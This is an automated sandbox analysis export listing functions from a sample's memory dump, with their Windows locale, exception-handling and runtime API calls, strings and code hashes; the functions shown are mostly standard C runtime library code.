Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ||
API String ID: 415426439-2950303532
Opcode ID: 4d39f26cd9cd237229ace588113166788462f6998c3c8e288171aefec79f071e
Instruction ID: 269644de9d9e99a3d9f3bd845381ad9d68e3e3d5a477939365e7da0b1e707a41
Opcode Fuzzy Hash: 4d39f26cd9cd237229ace588113166788462f6998c3c8e288171aefec79f071e
Instruction Fuzzy Hash: 8A517F71A00219AFDB20DFA5DC4AABABBF8FF49704F245469E911F7190E770DA04CB61

Function 00E3D39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00E3D57F

Strings

1#QNAN, xrefs: 00E3D4AE
1#INF, xrefs: 00E3D4D1
1#SNAN, xrefs: 00E3D4A7
1#IND, xrefs: 00E3D4A0

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: ac499bf16c34ffd18b11639eeb6da50261a86c061b54cf656475f4b1479c8eee
Instruction ID: 8ad9326ae44d43deb769fcea823dd3c3bbe6e528219bcfe18fe43661319d00ce
Opcode Fuzzy Hash: ac499bf16c34ffd18b11639eeb6da50261a86c061b54cf656475f4b1479c8eee
Instruction Fuzzy Hash: 5ED20571E082288BDB658E28DD487EABBB5EB45304F1451EAD44DF7280E778AE85CF41

Function 00E3C085 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

GetACP.KERNEL32(?,?,?,?,?,?,00E31848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00E3C146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00E31848,?,?,?,00000055,?,-00000050,?,?), ref: 00E3C171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00E3C2D4

Strings

utf8, xrefs: 00E3C243
||, xrefs: 00E3C0C7

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8$||
API String ID: 607553120-644368747
Opcode ID: b6f9d0bb48809ce258ccbd0ab8ed4ed06b87c0c3671f85b75b96c3229807c89d
Instruction ID: 77eea09f1461b3dbe1d4005bf70c47add3dd7c7de2bffeec6c76871abebf16cf
Opcode Fuzzy Hash: b6f9d0bb48809ce258ccbd0ab8ed4ed06b87c0c3671f85b75b96c3229807c89d
Instruction Fuzzy Hash: F8711931600702AADB24BB75DC4ABA77BE8EF44704F246069F506F7192EBB0E941D7A0

Function 00E3C814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00E3CB32,00000002,00000000,?,?,?,00E3CB32,?,00000000), ref: 00E3C8AD
GetLocaleInfoW.KERNEL32(?,20001004,00E3CB32,00000002,00000000,?,?,?,00E3CB32,?,00000000), ref: 00E3C8D6
GetACP.KERNEL32(?,?,00E3CB32,?,00000000), ref: 00E3C8EB

Strings

OCP, xrefs: 00E3C868
ACP, xrefs: 00E3C832

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 868d78565468e38f8c2c1b7fbb8f24257cbe73243547797fb3203327fb122533
Instruction ID: 7bfbd5c82f6ad4ded8cf405e483b9112d110e7fea8da8ffebd1b18a983d63d2a
Opcode Fuzzy Hash: 868d78565468e38f8c2c1b7fbb8f24257cbe73243547797fb3203327fb122533
Instruction Fuzzy Hash: C221B632A00101EADB3C9F65D909A97BBA6BF54B58F769424E90AF7100EB32FF41D350

Function 00E2FEF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Strings

G, xrefs: 00E30233, 00E30211
G, xrefs: 00E2FF0B, 00E3008E, 00E302B7, 00E30250, 00E300DD

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID: G$G
API String ID: 0-3574868976
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 12db13d913d9f32cf4e2e53f065b89ddd991c674e473c6c559d83ecd4cd7e8b3
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 1CF13E71E012199FDF14CFA8D894AAEBBB1FF88314F159269E819B7391D730AD41CB90

Function 00E33C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E33D1F

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: df13463107dca9de96da0f64c3679a93338d0f43e7cd15aced16145aae0ca559
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: CCB11072E042569FDB158F78C885FEEBFB5EF59304F14916AE805BB242D2349E05CBA0

Function 00E27922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00E2792E
IsDebuggerPresent.KERNEL32 ref: 00E279FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E27A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00E27A1D

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b37108619638205115e3a8ccd0ca5752ad9cf3b4d36fb2b38b5432eb53a6a264
Instruction ID: b95709bba183a0008d05dd46f549bd4e02cd3c7d01aa81ffc596e29cbb0aec95
Opcode Fuzzy Hash: b37108619638205115e3a8ccd0ca5752ad9cf3b4d36fb2b38b5432eb53a6a264
Instruction Fuzzy Hash: 0E31F7B5D05228DBDB20DFA5D9497CDBBB8AF08304F1051EAE40CAB250EB709B858F45

Function 00E3C498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E3C4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E3C536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E3C5FC

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 193407d4720f2263ef85443aa6f329d7c279e71986df8ee22da3d572244e970f
Instruction ID: 27158053c4e6757174f00491f9d7f45867f4b453a98ce9dfe3344756310c691b
Opcode Fuzzy Hash: 193407d4720f2263ef85443aa6f329d7c279e71986df8ee22da3d572244e970f
Instruction Fuzzy Hash: C26193725002079FDB28DF25CC8ABBA7BE8EF04714F20A17AE905F6585E774E945CB50

Function 00E2DA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00E2DB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00E2DB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00E2DB82

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5ceea0ec6481c658b851c695261322dc8b4f6154c58a86759e1f68ac52cb0bc6
Instruction ID: f0576f676abab903191278481d22d9f9a5231f36dc126ceb569382f7edea819b
Opcode Fuzzy Hash: 5ceea0ec6481c658b851c695261322dc8b4f6154c58a86759e1f68ac52cb0bc6
Instruction Fuzzy Hash: 7C31C6759012289BCB21DF65DD89BCCB7B8BF08310F5051DAE41CA7250EB749F858F44

Function 00E3622B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00E323AE,?,20001004,00000000,00000002,?,?,00E319B0), ref: 00E3625F

Strings

R[, xrefs: 00E3624A

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: R[
API String ID: 2299586839-3972925902
Opcode ID: d87417da067c5336b5b6d763180c86285cd8eeca12a724bca76e7bdc6475a8c5
Instruction ID: 7bfef791b552ac77ffee2ff3e27115154289ef7c5c653660750cbec6ff1ae4ed
Opcode Fuzzy Hash: d87417da067c5336b5b6d763180c86285cd8eeca12a724bca76e7bdc6475a8c5
Instruction Fuzzy Hash: 46E04F36500228BBCF122F72DC0CAAE7F6AEF45760F01D010FD0575221DB718E25EAA1

Function 00E3572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00E35727,?,?,00000008,?,?,00E415F5,00000000), ref: 00E35959

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 276987f45526f7f3913eb1a9f5c837ca01b6a60891f12a1a617b203f8ea0e4c4
Instruction ID: 587fec92c1317009dd98c2551f083fa77cd80b21ada07dc0be5f9ab62a302382
Opcode Fuzzy Hash: 276987f45526f7f3913eb1a9f5c837ca01b6a60891f12a1a617b203f8ea0e4c4
Instruction Fuzzy Hash: A0B10932610A04DFD719CF28C48ABA57FA0FF45368F259659E899DF3A1C335E992CB40

Function 00E2729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00E272B2

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 0f12ce9b261c45945b9e47e64aa8811b1c2c15b7a99d98fc9d695b0c8f7265a4
Instruction ID: 696a5e0645b6363c491a921b5cb52a9d19bdd6f0b3c8cd04c0fad78c8cd67d60
Opcode Fuzzy Hash: 0f12ce9b261c45945b9e47e64aa8811b1c2c15b7a99d98fc9d695b0c8f7265a4
Instruction Fuzzy Hash: C4A1AFB5A082158FDB18CF65EC826A9BBF1FB49314F24916AD459F73A0C334984ACF50

Function 00E39ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb8c7bd6cb1b9831013e9ae7b15f7bad164a9bbfaf3b31195ce66f85057050f
Instruction ID: cf23f6e4688e0b1c23e86c906255bb3881feb72a2da0643c5f8360daf467dcf3
Opcode Fuzzy Hash: 2fb8c7bd6cb1b9831013e9ae7b15f7bad164a9bbfaf3b31195ce66f85057050f
Instruction Fuzzy Hash: CF31F976900219AFCB20DFB9DC89DBBBBBDEB84314F144158F905A7145E770AE40CB54

Function 00E2CAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00E2CC80

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 813a772a4d54cddb5878ea84db891cb81bbca55e26da74dbdf8670dce6abd333
Instruction ID: 6f115e8b94d95d97ae1d47b15f8350f50d98ecd6e0c7bc3ad3cf8ccf8467339c
Opcode Fuzzy Hash: 813a772a4d54cddb5878ea84db891cb81bbca55e26da74dbdf8670dce6abd333
Instruction Fuzzy Hash: 47C1D0706006698FCB28CF28E4926BEBBF1BF45318F346A19D456BB291C731AD45CB91

Function 00E3C6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E3C73F

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 99db349b9786fa1c05e9c9e795bacb9cad65892c64ebc6989560646525d7490f
Instruction ID: 9400b6bb1007ce8f48a8d7bdebe8aaa0f5b9027352ee7af9cd9aebefcba6d6aa
Opcode Fuzzy Hash: 99db349b9786fa1c05e9c9e795bacb9cad65892c64ebc6989560646525d7490f
Instruction Fuzzy Hash: 9921A476505206ABDB18AB35DC4AA7A7BE8EF45354F20206BFD05F6241EB34ED01CB50

Function 00E3C372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

EnumSystemLocalesW.KERNEL32(00E3C498,00000001,00000000,?,-00000050,?,00E3CAC9,00000000,?,?,?,00000055,?), ref: 00E3C3E4

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d872ea9597c070bc6af735d3cbfb36217de34fe6d4fa4285a944a3faadae3bd7
Instruction ID: bbb3e3749b136a1704667365d3568c894385f0dfda1c2a6e8325e63124d8a01b
Opcode Fuzzy Hash: d872ea9597c070bc6af735d3cbfb36217de34fe6d4fa4285a944a3faadae3bd7
Instruction Fuzzy Hash: C111253B2003015FDB189F39C8A55BABBA1FF80368F24842CE947A7A40D371B942C740

Function 00E3C91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00E3C6B4,00000000,00000000,?), ref: 00E3C946

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: cfe1a8d102a9c54b66af0e0f2c35f54473e3b38c0ad04e227a8f93fbe24511c9
Instruction ID: 9ae0fe27a9de3f7a0be829560082010ec19193c43bdf06c998317aa0accb4c84
Opcode Fuzzy Hash: cfe1a8d102a9c54b66af0e0f2c35f54473e3b38c0ad04e227a8f93fbe24511c9
Instruction Fuzzy Hash: 4EF0A937500211BBDB245675C80DBBA7FA8EB80758F264429ED56B7180DA75FE41C790

Function 00E3C40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

